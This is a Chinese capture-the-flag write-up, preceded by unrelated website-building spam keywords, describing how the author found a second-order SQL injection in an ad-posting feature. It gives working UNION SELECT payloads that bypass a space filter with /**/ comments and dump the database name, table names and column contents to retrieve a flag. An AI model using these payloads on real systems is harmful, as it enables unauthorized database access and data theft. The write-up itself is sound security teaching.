免费建站系统软件,邹平网站开发,温州市营销网站建设,用什么软件做网站好处老规矩先看源码#xff0c;没找到啥提示#xff0c;后面就是登录口对抗
弱口令试了几个不行#xff0c;就注册了个账户登录进去 可以发布广告#xff0c;能造成xss#xff0c;但是没啥用啊感觉 查看广告信息的时候#xff0c;注意到url当中存在id参数#xff0c;可能存…
老规矩先看源码没找到啥提示后面就是登录口对抗
弱口令试了几个不行就注册了个账户登录进去 可以发布广告能造成xss但是没啥用啊感觉 查看广告信息的时候注意到url当中存在id参数可能存在sql注入
这里虽然显示待确认但是既然我可以看到数据那么说明它必然已经存在数据库里了 但是我手测了几个 / * and or ,没发现明显的可注入点可能是做了严格的过滤
停下来整理一下思路前面那个存储框除了xss以外还有sql二次注入的可能但是xss一般在ctf中没啥利用点所以思路转向验证sql二次注入
新建一个广告我故意把文件名命名和之前的重复看他会不会去查询 正和我意说明它去数据库里查了已有的广告名称 去试试 做了过滤这也恰恰说明这里大概率有货就是怎么去绕过呢
新建一个广告 这里在创建的时候没报错我以为没了呢但是查看详情的时候发现报错了 您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本相对应的手册了解在第 1 行的 1 limit 0,1 附近使用的正确语法
从这里我们就可以得到有用的信息了包裹mariadb数据库
但是空格好像被过滤了会提示敏感词汇
# 也被过滤了
不明白他这里为啥上面提示是双引号但是后面给双引号又提示是单引号 后面试了单引号可以
构造的轮子-1/**/union/**/select/**/1,2,3
提示列数不匹配 到这里才完全确定存在注入后面就是轮子的变形
一直加到22列才不报错,注入点是23位 poc:
-1/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
爆出库名 这里还要注意的一点是在注入的时候要把前面的第一个参数改为不存在的id比如-1否则后面的即使查出来了也不会显示的因为只会输出一行注意注意我一开始搞忘了 再爆破表名
-1/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_nameweb1 无字段名称去爆破字段内容爆破表里的所有列的内容*
-1/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
拿到flag flag{5609c556-36e6-4073-886d-5301375da629}
总结联合注入注意第一个参数是否存在影响结果展示
sql注入功能点的发现只要是展示数据了就有可能存在注入
注入要先判断有没有再去构造轮子联合注入要先判断列数同时注意绕过替换